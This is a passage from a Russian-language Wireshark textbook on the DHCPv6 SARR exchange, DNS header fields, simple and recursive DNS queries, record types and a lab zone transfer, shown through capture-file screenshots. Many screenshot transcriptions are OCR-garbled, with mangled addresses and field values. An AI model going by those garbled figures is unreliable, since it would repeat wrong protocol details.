кодом этого параметра и двухбайтовым полем длины. Полный перечень ти

пов сообщений и кодов параметров, которые могут появляться в этих полях, 

приведен по адресу http://www. iana .org/assignments/dhcpvб-parameters/ 

dhcpvб-parameters. xhtml. 

Протокол DHCPvб преследует такую же цель, как протокол DHCP, но что

бы уяснить поток обмена данными по протоколу DHCPvб, сокращенное обо

значение процесса DORA следует заменить новым сокращением SARR (Solicit, 

Advertise, Request, Reply - опрос, анонс, запрос, ответ). Этот процесс нагляд

но показан на рис. 9.8, где представлен клиент с истекшим сроком аренды. 

Процесс SARR состоит из следующих стадий. 

1. Опрос. Первоначальный пакет посьшается клиентом по специальному 

многоадресатному адресу (ff02: :1:2), чтобы попытаться обнаружить 

доступные DНСРvб-серверы в сети. 

2. Анонс. Доступный сервер отвечает непосредственно клиенту, чтобы из

вестить его, что он доступен для предоставления сведений об адресах и 

конфигурации. 
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1 g < 
1 

DНСРvб-кnмент 

< 

Опрос 

Анонс 

Запрос 

Ответ 

> 
1 

> 
1 

11 11 
11 11 

DНСРvб-сервер 

Рис. 9.8. Процесс SARR возобновления адреса клиента с истекшим 
сроком аренды по протоколу DHCPv6 

3. Запрос. Клиент посылает формальный запрос сведений о конфигура
ции доступному серверу по каналу многоадресатной передачи. 

4. Ответ. Сервер посылает все имеющиеся сведения о конфигурации не

посредственно клиенту, и на этом процесс SARR завершается. 

Сводка описанного выше процесса SARR, взятая из файла перехвата 

dhcpб_outlease_acquisition.pcapng, приведена на рис. 9.9. В данном нриме
ре демонстрируется в действии процесс SARR, в ходе которого новый сете
вой узел (fe80: :20c:29ff:fe5e:7744) принимает сведения о конфигурации 
от DНСРvб-сервера (fe80: :20c:29ff:felf:a755). Каждый пакет представляет 
одну стадию процесса SARR, причем первоначальные пакеты опроса и объяв
ления связываются вместе с помощью идентификатора транзакции Ox9de03f, 
а пакеты запроса и ответа - с помощью идентификатора транзакции Ox2d1603. 
И хотя это не показано на рис. 9.9, рассматриваемый здесь обмен данными 
происходит череа стандартные порты 546 и 547, используемые в протоколе 
DHCPvб. 

ND 'ВМ Scllla! 

1 1." fe:ll8:;18L:ltff1f~S~:774-t 
2 •·- f"~ait1 :21k:~9:Htf~lf:•7S5 fd:t: :26c:29:ff:fe~~7744 
'1.- f~И::2ec:.l9ff:ff'~:7744 fft2::l!2 DНСРУ6 164 Arq~~t XIO: 8x2dlбe3 CIO: мe1м&ad~6'9!hdleec29~7744 IAA: 281t:dЬ8:1:2::1117 
41.- fele1:18c:Жf:fe1f:•7~S fe89::29':2bl"f:f..Se:7744 DНCPd 166 ~ 1 XlD: 8xldlblf3 CID . М&lete11Hf69Ьd888c2~77,.. IМ: 2Ml•dl:l8:1:2::1.8e2 

Рис. 9. 9. Клиент, получающий /Рv6-адрес по протоколу DHCPv6 

В общем, структура пакета в сетевом трафике 110 протоколу DHCPvб выгля

дит совсем иначе, хотя в ней применяются в основном те же самые понятия . 

Тем не менее в рассматриваемом здесь процессе требуется некоторая форма 

обнаружения DНСР-сервера и формального извлечения сведений о конфигу

рации. Все транзакции по-прежнему связываются по своим идентификаторам 

в каждой паре пакетов, которыми обмениваются клиент и сервер. Адресация 

по протоколу IPvб не может поддерживаться традиционными механизмами 



DHCP. Если в вашей сети имеются устройства, автоматически получающие 

IРvб-адреса от сервера, то это означает, что в вашей сети, вероятнее всего, 

уже действует служба DHCPvб. А если вам требуется продолжить сравнение 

протоколов DHCP и DHCPvб, то рекомендуется открыть упоминавшиеся ра
нее в этой главе файлы перехвата по очереди и сравнить их содержимое непо

средственно. 

Система доменных имен (DNS) 
Протокол DNS (Domain Name System - система доменных имен) относится 

к числу наиболее важных межсетевых протоколов, поскольку он служит свое

го рода связующим звеном. В частности, протокол DNS связывает доменные 

имена (например, www.google.com) с IР-адресами (например, 74.125.159.99). 

Если требуется связаться с сетевым устройством, IР-адрес которого неизве

стен, получить доступ к этому устройству можно по его доменному имени в 

службе DNS. 
На DNS-cepвepax хранится база данных с записями ресурсов, содержащих со

поставления IР-адресов и доменных имен, которыми эти серверы делятся с 

клиентами и другими DNS-серверами. 

l1!QIИtgМIШI Структура DNS-cepвepoв доволъно сложна, поэтому здесъ рассматрива

ются лишъ самъtR распрострашннъtR типы сетевого трафика DNS. По 

различным вопросам, связанным с протоколом DNS, обращайтесъ за 

справкой по адресу https: //www.isc.org/community/rfcs/dns/. 

Структура заголовка в пакете DNS 
Как показано на рис. 9.10, структура заголовка в пакете DNS несколько 

иная, чем в рассматривавшихся ранее типах пакетов. В заголовке пакета DNS 

имеются перечисленные ниже поля. 

Система доменных имен (DNS) 

Смещение Октет о 1 1 2 3 

Октет Бит 0-7 1 8-15 16-23 24-31 

о о Идентификационный номер DNS ЪIКодзапроса 181 l I ~ ы 3 1 КодОП1ета 
4 32 Число запросов Число ответов 

8 64 Число записей на авторитетном сервере доменных имен Число дополнитеnьных записей 

12+ 96+ Раэдеn запросов Раэдеn ответов 

Раэдеп попномочий Раздеп допопнитеnьных сведений 

Рис. 9. 1 О. Структура заголовка в пакете DNS 
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• Идентификационный номер DNS (DNS ID Number). Служит для связы

вания DNS-запросов с DNS-ответами. 

• Запрос/Ответ, ЗО (Query/Response, QR). Обозначает, содержит ли па

кет DNS-зaпpoc или DNS-ответ. 

• Код запроса (OpCode). Определяет тип запроса, содержащийся в сооб

щении. 

• Авторитетный ответ, АО (Authoritative Answers, АА). Если значение 

этого поля установлено в ответном пакете, это означает, что ответ по

ступил от авторитетного сервера доменных имен, обслуживающего дан

ный домен. 

• Усечение, УС (Truncation, ТС). Обозначает, что ответ был усечен, по

скольку он оказался слишком большим и не поместился в пакет. 

• Требуется рекурсия, ТР (Recursion Desired, RD). Если значение этого 

поля установлено в запросе, это означает, что DNS-клиент делает рекур

сивный запрос, если на целевом сервере доменных имен отсутствует за

прашиваемая информация. 

• Рекурсия доступна, РД (Recursion AvailaЫe, RA). Если значение этого 
поля установлено в ответе, это означает, что рекурсивные запросы под

держиваются на сервере доменных имен. 

• Зарезервировано, З (Reserved, Z). По стандарту RFC 1035 в этом поле 
должны быть установлены все нули. Но оно иногда используется в каче

стве расширения поля RCode. 

• Код ответа (Response Code, RCode). Служит в DNS-ответах для указания 

на наличие любых ошибок. 

• Число запросов (Question Count). Обозначает число записей в разделе 

запросов. 

• Число ответов (Answer Count). Обозначает число записей в разделе от

ветов. 

• Число записей на авторитетном сервере доменных имен (Name 

Server (Authority) Record Count). Обозначает число записей ресурсов 

на сервере доменных имен в разделе начальной записи зоны (Start of 
Authority, SOA). 

• Число дополнительных записей (Additional Records Count). Обознача

ет число записей ресурсов в разделе дополнительных сведений. 

• Раздел заnросов (Questions Section). Это раздел переменного разме

ра, содержащий один или несколько запросов сведений, посылаемых 

DNS-cepвepy. 



• Раздел ответов (Answers Section). Это раздел переменного размера, со

держащий одну или несколько записей ресурсов, посылаемых в ответ на 

запросы. 

• Раздел полномочий (Authority Section). Это раздел переменного разме
ра, содержащий записи ресурсов, указывающие на авторитетные серве

ры доменных имен, которые могут быть использованы для продолже

ния процесса преобразования имен. 

• Раздел дополнительных сведений (Additional lnformation Section). Это 

раздел переменного размера, содержащий записи ресурсов, хранящие 

дополнительные сведения, связанные с запросом, хотя их совсем не 

обязательно посылать в ответ за запрос. 

Простой DNS-зanpoc 

Файл перехвата dns _ 
query_response.pcapnq 

Протокол DNS функционирует в режиме "запрос
ответ". В частности, клиент, желающий преобразо

вать DNS-имя в IР-адрес, посылает запрос DNS-cepвe

py, а тот - ответ с запрашиваемой информацией. В простейшей форме для 

выполнения этого процесса требуются два пакета, как демонстрируется в при

мере из файла перехвата dns _ query_ response. pcapnq. 
Как показано на рис. 9.11, первый пакет содержит DNS-зaпpoc, посылае

мый клиентом, находящимся по адресу 192 .168. О .114, серверу, принимающе
му этот запрос по адресу 205 .152. 37. 23 через стандартный порт 53, применяе
мый в протоколе DNS. Приступив к анализу заголовков в данном пакете, мож
но обнаружить, что в протоколе DNS в качестве транспортного используется 
протокол UDP О. 

В части данного пакета, относящейся к протоколу DNS, можно обнару
жить, что мелкие поля, расположенные ближе к началу пакета, сведены сред

ствами Wireshark в единый раздел Flaqs. Разверните этот раздел, чтобы уви
деть сообщение, которое на самом деле является стандартным запросом 8, 
не усечено и требует рекурсии, о которой речь пойдет далее. В данном случае 

определен лишь один запрос, который можно обнаружить, развернув раздел 

Queries (Запросы). Там вы увидите, что запрашивается преобразование до
менного имени wireshark.orq в межсетевой адрес (IN) хоста (тип А) О. По су
ществу, в данном пакете запрашивается следующее: "Какой IР-адрес связан с 

доменом wireshar k. org?" 
Ответ на этот запрос содержится в пакете 2, как показано на рис. 9.12. Этот 

пакет имеет свой идентификационный номер О, по которому можно судить, 

что он содержит правильный ответ на исходный запрос. 
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• Wir.shark · Pack•t 1 · dns_qu<ry_r.spons. о х 

> Fr•~ 1: 73 bytes оп wiг• (584 Ыts), 73 bytes captured (584 Ьits) 
> Eth•rnet II, Src: НonН8iPr_6.:8b:24 (00:16:се:6е:8Ь:24), Ost: D-link_21:99:4c (00:05:Sd:21:99:4c) 
> Internet Protocol Version 4, Src: 192.168.0.114, Dst: 205.152.37.23 

User Oatagra11 Protocol, Src Port: 1060 (1060), Dst Port: 53 (53) О 
v Dolllain llame Systet1 (query) 

(Resoonse In: 21 
Trвnsaction IO: 0xl80f 

v Flags: 0х0100 Standard query f} 
0. . . . . . . = R•sponse: Мessage is а query 
.000 0... ~ Opcode: Standard query (0) 

.. 0. 

. .. 1 
.0 .. 

•.. 0 

Questions: 1 
Answer RRs: 0 

Authority RRs: 0 
Additional RRs : 0 

v Qu~ri~s 

• Truncated: Мessвge is not truncat•d 
= Recursion desired: Do query recursively 
= Z: reserved (0) 
= Non-authenticated data: Unacc•ptaЫe 

v wireshark.org: type А, class IN ~ 
Name: wireshark.org 
[Na11e Length: 13) 
[LaЬel Count: 2] 
Туре: А (Нost Address) (1) 
Clвss: IN (0х9001) 

Рис. 9. 1 1. Пакет с DNS-зanpocoм 

Заглянув в раздел Flaqs, можно убедиться, что это действительно ответ и 
что рекурсия доступна, если она требуется 8. Данный пакет содержит лишь 
один запрос и одну запись ресурсов О, поскольку он включает в себя перво

начальный запрос вместе с ответом на него. Доменному имени wireshark. 
orq соответствует IР-адрес 128 .121. 50 .122 О. Получив эти сведения, клиент 
может теперь создать IР-пакеты и приступить к обмену данными с сервером, 

имеющим доменное имя wireshark. orq. 

Типы запросов по протоколу DNS 
В полях Туре, используемых в запросах и ответах по протоколу DNS, ука

зывается тип записи ресурсов, запрашиваемых или сообщаемых в ответ. Не

которые из наиболее употребительных типов записей ресурсов перечисле

ны в табл. 9.2. Эти типы можно наблюдать как в обычном сетевом трафике, 

так и в примерах из данной книги. (В табл. 9.2 приведен лишь краткий пере
чень типов записей ресурсов.) Чтобы ознакомиться со всеми типами запи

сей ресурсов в DNS, посетите веб-страницу по адресу http: //www. iana. org / 
assignments/ dns-parameters / .) 



• \Vireshark · Paclcd 2 · dns_qul!:ry_r~ponse 

7 Fraee 2: 89 bytes оп wire (712 Ыts)" 89 bytes Ci!lptured (712 bits) 

Ethernet п; Src: D-Link_21:99:4c (08:0S:Sd:21:99:4c)" Dst: КonHaiPr_бe:8b:24 (00:16 :се:бе:8Ь:2.4) 
Internet Protocol Version 4, Src: 205.152.37.23, Dst: 192.168.8.114 

User ~tagraм Protocol, Src Port: 53 (5З), Dst Port: 1060 (1660) 
Dcмlain Na~ Syste• (response) 

[Request In: 1] 

(Ti.a!le: 0.891164006 seconds] 
Tгl!lnsoction IO: 0x180f О 
Flвgs: 0х8180 Sti!lndord query ,...esponse, No error f} 

1... . . . . :r Response: ~ssage is i!t response 
.000 0... • Opcode: Stondord query (0) 

.е.. "" Authoritative: Server is not an authority for dotUin 

.. е. "' Truncated: Hessage is not truncated 

... 1 = Recursion desired: Оо query recursively 
1... = Recursion a11a i laЬle : Server сап do recursive queries 
.е.. - Z: re-served (0) 

о 

. . 0. • Answer authenticated: Answer/authority portion was not authenticated Ьу the serveг 

... 0 • Non - authenticat~ data: UnacceptaЫe 
0000 • Reply code: No error (0) 

@ Qu<!stions: 1 
Answer RRs: 1 

Authoгity RRs: е 

Addition&l RRs : 0 
Queries 
v wiгeshark . org: type А, class IN 

Narae: wiгeshaгk. огg 
[N"""' tength: 13] 
[taЬel Count: 2] 
Туре : А (Нost Address) (1) 
Class: IN (0х0001) 

Answeгs 

wiгeshaгk.org: type А, class IN, addг 128.121.50.12-2 О 
Narae: wireshark.oгg 
Туре: А (Нost Address) (1) 
Closs: IN (0х0001) 

Tiae to live: 14400 
Oata length: 4 
Addгess : US.121.50 . 122 

Рис. 9. 12. Пакет с DNS-ответом 

Таблица 9 .2. Наиболее употребительные типы записей ресурсов в DNS 

Значение Тип Описание 

1 А 1Рv4-адрес хоста 

2 NS Авторитетный сервер доменных имен 

5 СNдМЕ Каноническое имя псевдонима 

15 мх Обмен почтой 

16 тхт Текстовая строка 

28 АААА 1Рv6-адрес хоста 

251 IXFR Инкрементный перенос зоны 

252 AXFR Полный перенос зоны 

х 
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Рекурсия в DNS 
Файл'Ы жрехвата dns _ recursi vequery_ clien t. 
pcapng,dns_recursivequery_server.pcapng 

В силу иерархического харак

тера межсетевой структуры 

DNS все DNS-cepвepы долж
ны быть в состоянии связываться друг с другом, чтобы получать ответы на за

просы, отправляемые клиентами. Если еще можно предположить, что вну

треннему DNS-cepвepy известно, какой именно IР-адрес назначен локальному 

серверу во внутренней сети предприятия, то вряд ли следует ожидать, что ему 

известен IР-адрес, назначенный веб-серверу компании Google или Dell. 
Когда одному DNS-cepвepy требуется найти IР-адрес, он запрашивает дру

гой DNS-cepвep от имени клиента, делающего первоначальный запрос, дей

ствуя, по существу, как клиент. И этот процесс называется рекурсией . 

• Wireshark · Packet 1 · dns_re<ur.ivoquety_client о х 

Frame 1: 76 t>ytes оп wiгe (6&8 t>its), 76 bytes captuгed {608 bits) 
> Hhernet II, Sгс: !iewlettP_Ьf:91:ee {00:25:b3:bf:91: ee), Dst: v ... are_92:94:9f {00:0c:29:92:94:9f) 
> Internet Pмt<>eol Version 4, Src: 172.lб.0.8, Dst: 172.16.0.102 
"' User Oatagг""' Protocol, Sгс Port: 56125 {56125), Ost Port: SЗ (53) 

Source Port: 56125 
Oestination Port: 53 
Length: 42 

v Checksu•: 0х58са [validation disaЬled) 
[Good Checksu'": False] 
[Bad Checksum: False] 

[ Stгea11 index: 0] 
"' Dotlain Nalll<! System (queгy) 

ГResoonse In: 21 
Transaction ID: 0х8Ь34 

" Flags: 0х0100 Standard query 
0... . . . . • Response: llessage is • query 
. 000 0.. . = Opcode: Standard query (0) 

. . 0. 

.. . 1 
. 0 .. 
.. . 0 

Ques tions: 1 
Answeг RRs: 0 

Authoгity RRs: 0 
Additional RRs: 0 

v Queries 

= Truncated: нessiaige is not tгuncat~d 
= Recuгsion desiгed: Do query гecuгsively О 
= Z: r eserved (0) 
• Non-authenticated data: UnacceptaЫe 

v ....... nostarch . cOll: type А, class II~ б 
Na~: www .nostarch.cca 
[Name Length: 16) 
[Label Count: З) 

Туре: А {Нost Address) (1) 
Class: IN (0х0001) 

NO.rJ· rim#;(J.J)()/)()()/] 5i>o1'1Ж l7bl6.0.8 · ~1l'l.J6.0.//Jl · Pr"'1JaJl:ONS • la"lgdt:.'5·Jthsиr.Joni~/JJ8/JJ4A www.-.it.""" 

Рис. 9. 13. DNS-зanpoc с установленным флагом запроса рекурсии 



Чтобы посмотреть, каким образом происходит процесс рекурсии с точки 

зрения DNS-клиента и DNS-cepвepa, откройте сначала файл перехвата dns _ 

recursi vequery _ client. pcapng. Этот файл содержит перехваченный тра

фик DNS-клиента, состоящий из двух пакетов. Первый пакет содержит пер

воначальный запрос, отправленный DNS-клиентом, находящимся по адресу 

172 .16. О. 8, DNS-cepвepy, расположенному по адресу 172 .16. О .102 (рис. 9.13). 
Развернув часть данного пакета, относящуюся к протоколу DNS, вы увиди

те, что это стандартный запрос записи типа А о DNS-имени www. nostarch. com 

8. Чтобы исследовать данный пакет дальше, разверните раздел Flags, где ука
зано, что требуется рекурсия О. 

Второй пакет, как и следовало ожидать, содержит ответ на первоначаль

ный запрос (рис. 9.14) . 

• Wir~hark · Pack:d. 2 · dn.s_re-cursN-equery_cli~nt D Х ---- l > Fr•""' 2: 92 bytes on wire (7Зб Ыts), 92 Ьytes coptured (7Зб bits) 

> Ethernet 11, 5rc: V...are_92:94:9f (00:0c:29:92:94:9f), Dst: HewlettP_Ьf:91:ee (00:25:ЬЗ:Ьf:91:ее) 

> Inteгnet Protocol Version 4, Src: 172.16.9.102, Ost: 172.16.8.8 
> User Datagra11 Protocol, Src Port: 5З (5З), Dst Port: 56125 (56125) 

.., Oonli!lin Nm1e Systea (гesponse) 
[Requcst In: 11 

[Тime: 0.183134000 seconds] 
Transi1ction ID: 0х8Ь34 О 

v Flags: 0х8180 Standard query геsропsе, No error 
1... . . . . "'" Response: Мessage is а response 
.000 0.. . • Opcode: 5tondord query (0) 

.0" 

. . 0 . 

."1 

• Authoritative: Sl!rveг is not ii!IП authority for domain 
• Truncillted: Мess•ge is not trunc11ted 
• Recuгsion desired: Оо queгy recursively 

1." 

.0" 

"" Recursion availaЬle: Server can do recursive queries 
• Z: reserved (0) 

. . е. • Answer authenticated: Answer/lluthority portion was not authenticated Ьу the serveг 

.. . е . . .. • Non-authenticated data: Unacceptable 
0000 • Reply code: No erгor (0) 

Questions: 1 

Answer RRs: 1 

Authority RRs: 0 
Additional RRs: е 

v Queries 
v www.nostarch.coni: type А, class IN 

Nасве: www.nostaгch.coni 

[Name Length: 16] 

[tabel Count: 3] 
Туре: А (Нost Address) (1) 
Class: IN (0х0001) 

v Answeгs 

v ""8111W.nostaгch.cм: type А, class IN, addг 72 . 32.92.4 fJ 
Na.e: www.nostarch . con 
Туре: А (Нost Address) (1) 
Class: IN (0х0001) 
TU.. to live: 3600 
Doto length: 4 
Address: 72.32.92.4 

Рис. 9. 14. Ответ на DNS-зanpoc 



Идентификатор транзакции этого пакета совпадает с аналогичным иден

тификатором в первоначальном запросе О. А поскольку ошибки отсутствуют, 
то в конечном итоге клиент получает :1апись ресурсов типа А, связанную с до

менным именем www. nostarch. com 8. 
Ответ на рассматриваемый здесь запрос был получен посредством рекур

сии, которая была зафиксирована при прослушивании трафика DNS-cepвc

pa, как демонстрируется в примере из файла перехвата dns _ recursi vequery _ 
server .pcapng. Этот файл содержит сетевой трафик, перехваченный на ло
кальном DNS-cepвepe, когда был инициирован запрос (рис. 9.15 ). 

No. т .... Sou'CI! De< ..... llon Proloa>I Longth lnfo 

1 ··-
172.16.&.8 172.16.8.182 OllS 76 St•nd•rd quef)' 6.х8Ь34 А www.nostarch.coa 

2 "·-
172.16.8.182 4 . 2 .2.1 ONS 76 S"tandard query 9X"f34d А www. nostarch. COll 

3 ··- 4.2.2.1 172.16.8.182 ONS 92 Stand•rd query response 0хfЗМ А ww .... nost~rch.(Olll А 72.32.92.4 
4 е . _ 172.16.8.102 112.16.е.а DN5 92 Standerd query response 0х8Ь34 А www.nostarch. cOll А 72.Э2.92.4 

Рис. 9. 15. DNS-рекурсия с точки зрения сервера 

Первый пакет из данного файла оказывается таким же, как и пакет с пер

воначальным запросом из предыдущего файла перехвата. На данной стадии 

DNS-cepвep получил запрос, проверил свою локальную базу данных и выяс

нил, что он не знает ответа на запрос, какой именно IР-адрес соответствует 

DNS-имени www. nostarch. сот. Но поскольку исходный пакет был отправлен с 
установленным флагом Recursion Desired, то DNS-cepвep может rюпросить дру
гой DNS-cepвep ответить на полученный запрос , как следует из содержимого 

второго пакета. 

Во втором пакете DNS-cepвep, находящийся по адресу 172 .16. О .102, пере
дает новый запрос серверу, расположенному по адресу 4. 2. 2 .1 О. Первый и:J 

них настроен на пересылку запросов восходящего потока второму, как пока

зано на рис. 9.16. Данный запрос зеркально отображает первоначальный за
прос, по существу, превращая посылающий его DNS-cepвep в клиента. В то же 

время можно сказать, что это новый запрос, поскольку идентификационный 

номер транзакции здесь отличается от идентификационного номера в преды

дущем файле перехвата 8. 
Как только данный пакет будет принят сервером, находящимся по адресу 

4. 2. 2 .1, локальный DNS-cepвep получит от него ответ, как показано на рис. 
9.17. Получив этот ответ, локальный DNS-cepвep передаст четвертый и пятый 
пакеты DNS-клиенту с запрашиваемой информацией. 

В данном примере демонстрируется лишь один уровень рекурсии, но она 

может происходить неоднократно по единственному DNS-зaпpocy. И хотя 

здесь получен ответ от DNS-cepвepa, находящегося по адресу 4 . 2. 2 .1, этот 
сервер мог бы рекурсивно переслать запрос еще одному серверу, чтобы найти 

ответ на запрос. Простой запрос может распространиться по всему миру, пре

жде чем удастся найти правильный ответ на него. Процесс обработки рекур

сивного DNS-зaпpoca наглядно показан на рис . 9.18. 



• Wiresharic . Packet 2. dns_recursivequery_strver о х 

FraDle 2: 76 Ьytt!s on wirt! (688 Ыts), 76 bytes captured (бе8 Ыts} 
Ethernt!t II, Sгс: V.Ware_92:94:9f {00:0c:29:92:94:9f), Ost: Ciscoinc_31:07:33 (00:26:0Ь:31:07:33) 

Internet Protocol V~sion 4, Src: 172.16.0.102, Dst: 4.2.2.1 0 
User Datagram Protocol, Src Port: 62570 (62510), Ost Port: 53 (53} 

v Ootein Name Syst... ( query) 
{Reswnse In: 3] 
Transaction 10: 0xf34d б 
flags: ех0100 Standard query 
Questions: 1 

Answer RR.s: 0 

Authori ty RRs: 0 
Additional RRs: 0 
Queries 

WWl'i'. nostarch. соа: ty~ А, class IN 
Na.e: WflW. nostarch. СО8 
[На11е Length: 16] 
[Label Count: 3] 
Туре: А (Нost Address) (1) 
Class: IN (0х0001} 

Рис. 9. 16. Рекурсивный DNS-зanpoc 

• Wireshark · Packet 3 · dns_recurSlvequery_setVer 

Fra11e 3: 92 bytes on wire (736 Ыts), 92 bytes captured (736 Ьits) 

Close tielp 

о х 

Etht!rnet II, Src: Cisco!nc_31:07:33 (00:26:0Ь:31:07:33), Ost: V.Ware_92:94:9f {00:0c:29:92:94:9f) 
Internet Protocol Version 4, 5rc: 4.2.2.1, Ost: 172 .16.0.102 
User Oatagrм Protocol, Src Port: 53 (53), Ost Port: 62570 (62570) 
Dcmain Нам Syrtet1 (response) 

[Requcst In: 21 
[Tiioe: е.182223000 seconds] 
Transaction IO: 0xf34d 
Flags: 0><8180 5tandard query response, No eгror 

Questions: 1 

Answer RRs: 1 

Authoгity RRs: 0 
Addition•l RRs : 0 
Queries 
v -.nostarch.c011: type А, class IN 

На~: www.nostarch.c08 
[Na"" Length: 16] 
[Label Courтt: 3) 
Туре: А (Нost Address) (1) 
Class: IN (0><0001) 

v Answers 

www.nostarch.com: type А, class IN, addг 72.32.92.4 
Нате: w.... nostaгch . СО8 

Туре: А (Нost Address) (1) 
Closs: IN (0><0001) 

Tiae to live: 3600 
Oota length: 4 
Аddгеи: 72.32.92.4 

Рис. 9. 17. Ответ на рекурсивный DNS-зanpoc 
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D 
......... "" ··-······-
DNS-кnиент 

Ответ на запрос 

Рекурсивный запрос 

<-ю""'" 
Ответ на запрос Внешний DNS-cepвep 

Рис. 9. 18. Процесс обработки рекурсивного DNS-зanpoca 

Перенос DNS-эoн 

Файл перехвата 

dns_axfr.pcapn9 

DNS-зoнa - это пространство имен (или группа), вести ко

торое поручено ПNS-серверу. Например, у компании 

Ешша's Diпer может быть один ONS-cepвep, отвечающий 

за доменное имя emmasdiner. com. В этом случае устройства в самой компании 
и за ее пределами, которым требуется преобразовать доменное имя 

emmasdiner .com в IР-адрес, должны связаться с ее DNS-cepвepoм, отвечающим 
за данную зону. При расширении компании Ешша's Diнer может быть введен 

второй DNS-cepвep для ведения только той части пространства имен, которая 

относится к электронной почте и имеет доменное имя mail. emmasdiner .com. 
Таким образом, второй DNS-cepвep будет отвечать за почтовый субдомен. 

По мере необходимости для ведения других субдоменов могут быть введены 

дополнительные DNS-cepвepы, как показано на рис. 9.19. 

о emmasdiпer.com 

о web.emmasdiner.com 

db.web.emmasdiner.com 

cart.web.emmasdiner.com 

о mail.emmasdiner.com 

Рис. 9. 19. Разделение ответственности за про
странства имен среди DNS-зoн 



Перенос зоны происходит в том случае, если данные зоны передаются между 

двумя устройствами - как правило, из соображений резервирования. Напри

мер, в организациях с несколькими DNS-серверами сетевые администраторы 

зачастую настраивают вспомогательный DNS-cepвep на хранение копии дан

ных зоны из основного DNS-cepвepa на тот случай, если основной сервер ока

жется недоступным. Имеются следующие виды переноса зон. 

• Полный перенос зоны (AXFR). К этому виду относятся переносы, 
при которых вся зона пересылается между устройствами. 

• Инкрементный перенос зоны (IXFR). К этому виду относятся пере
носы, при которых пересылается лишь часть данных зоны. 

В файле перехвата dns _ axfr. pcapng содержится пример полного пере

носа зоны между хостами, находящимися по адресам 172 .16 .16 .164 и 

172 .16 .16 .139. На первый взгляд, содержимое этого файла может удивить 

вас, поскольку вместо пакетов UDP вы обнаружите в нем пакеты ТСР. И хотя в 

протоколе DNS используется протокол UDP, для решения некоторых задач, в 
том числе переноса зон, в нем применяется и протокол ТСР, поскольку он обе

спечивает более надежную передачу данных. Поэтому первые три пакета из 

данного файла перехвата служат для трехэтапного процесса установки связи 

по протоколу ТСР. 

Перенос зоны между хостами, находящимися по адресам 172 .16 .16 .164 

и 172 .16 .16 .139, начинается с четвертого пакета. Этот пакет не содержит 

никакой информации о протоколе DNS. Он обозначен как "ТСР-сегмент вос

становленного блока PDU'', поскольку данные, пересылаемые по запросу на 

перенос зоны, на самом деле пересылаются в нескольких пакетах и, в част

ности, в пакетах 4 и 6. А пакет 5 содержит подтверждение приема пакета 4. 
Эти пакеты анализируются и отображаются в Wiresliark именно в таком по

рядке ради большей их удобочитаемости. Для целей данного примера пакет 

6 можно отнести к запросу на полный перенос DNS-зоны, как показано на 

рис. 9.20. 
Запрос на перенос зоны является стандартным запросом О, но вместо 

единственного типа записи в нем запрашивает тип AX1''R 8. Это означает, что 
по данному запросу требуется получить всю DNS-зoнy из сервера. На это сер

вер ответит записями зоны в пакете 7, как показано на рис. 9.21. Как видите, 

перенос зоны включает в себя немало данных, а ведь это едва ли не самый 

простой его пример! Как только перенос зоны завершится, начнется процесс 

разрыва связи по протоколу ТСР, представленный в самом конце данного фай

ла перехвата. 



• W1r~hark • Pьckrt б · dns_ufr 

1 > Fr...., 6: 87 bytes on wir• (696 bits), 87 bytes c1ptured (696 Ыts) 
1 > Ethernet II, Src: Vatare_7e:ec:a4 (ee:ec:29:7e:ec:CJ4)" Dst: V.Ware_ce:d1:9e (88:8c:29:ce:dl:~) 
I > Internet Protocol Version 4, Src: 172.16.16-164, Ost: 172.16.16.139 

1 "'
> TranS!lission Control Protocol, Src Port: 1198 (1108), D>t Port: 53 (53), ~q: 1578764528, Ack: 451899283, 

[2 Re1ss...Ьled ТСР Sepents (35 bytes): #4(2), •6(33)] 
Douin - Syst•• (query) 

(Respon:rc In· 71 
length: 33 
Tгansaction ID: 9х0887 
Fl1gs: 0х910е Standord query О 
Questions: 1 

Answer RRs: е 

Authori ty RRs: 9 
Additionol RRs: 11 
Quer1es 

contoso.locгl: type AXFR, class Itl 

"а.е : contoso.local 
[No" Length: 13] 
[lоЬ.1 Count: 2) 

@ Туре: AXfR (transfer of 1n entire zone) (252) 
Closs: IN (&xOOel) 

Рис. 9.20. Запрос на полный перенос DNS-зоны 

• 'hМiбhAA·Pкkel7·dm_811r 

[
} ,"_, 1; ui. bytes on t111r• (9611 Ыts), 1118 ttyt.rs c..,t:ured (Иll Ыts.) 
) Eth«r"rt 11, Src: V.Мrt_(t:d1:9t (M:k:19:ce:d1:9e), ~t: V-re_7e:ec:" (11:8с:19:71";<1'с:") 
) Intt"~t Pf'otoc:ol v~sion •, Src: 172.16.18.13'9, Dst: 172.16.16.164 
) Tr.nм1ssion Control Protoc:ol, Src Port: 53 (5'), Ost Р'агt; 11М (11"). kq: 4'5189983, Ack: 1S'N7'МИ1. L~ UИ 

1 
У ~i'I Н- Syst- (r~Spor!'5~) 

fBrmиat l'I· 61 
[Тi.м: 8.1217691М secollds} 
Lll!n~h: 11~ 

1 
rr..,sкti~ ID: 8:d887 

) fl•p: lxll!I Stendflrd q~ry ~sponsll!, Но ll!rror 
Qvestion.s: 1 
An~ U.s: 21 
Ar.lthQrt ty RRs: t 
Addit.lon•l liAJ.: • 

.., contoso.loc:•1: typt: AXfft, cl•ss IN 
N..e: contoso.loc•l 
{М- Length: U) 
(L.Мl (ount: 2) 
fypt:: AXfR ( transftr of •n ~tire :r.ом) (ZS2) 

Cl•ss: IN (1х8181) 
"'Ans.ers 

cont.oso.loc•l; ty~ so.r., cl•ss lN, 8"811С dnt.3.co'ltoю.loc:•l 
' contoso.loC8l: ty~ А, cl•ss rн. addr 172.16.16.139 

contoю. loc•l: type NS, cl•ss IN, ns dnsJ.corrtoso. local 
_iadcs . contoю. loc•l : typll! НS, cl•ss lN, ns u•ndtrs·ki!!иl.contoso.loc•l 

~ ,._tcp.Oef.ult-First-Site-~._sitll!s.contoso.lool: ~ sav, c lass IN, priority &, •icht 188, port 3261, t•rrt dnsJ .cOfltoso.lcк•l 

о х 

Len: 33 

о х 

.,, _te-"oeros._tcp.~f•ult·First-S.it~-м...i:._sl.tts.c0tttoso.locel : type s.ttv, cl•ss IN, pri.ority 1, wi.rt 1•, port. '8, trpt d<ls3.c.ontcкo.loc•l 
_ld•p._tcp.Drlll!f•ult·First-S.ite-М-._sitn.coritoso.loc•l : type sav, cl•ss UI, prlority а, •1Pt 1•, port 589, t.raet •sз.c°"toso.loc•l 

) _.c._tcp.contoso.loc•l: type SIV, cl•ss IN, priorlty а, Nll!i&t't 108, pGf"t J261, t•rart "s3.c•t.oso.1oc•I 
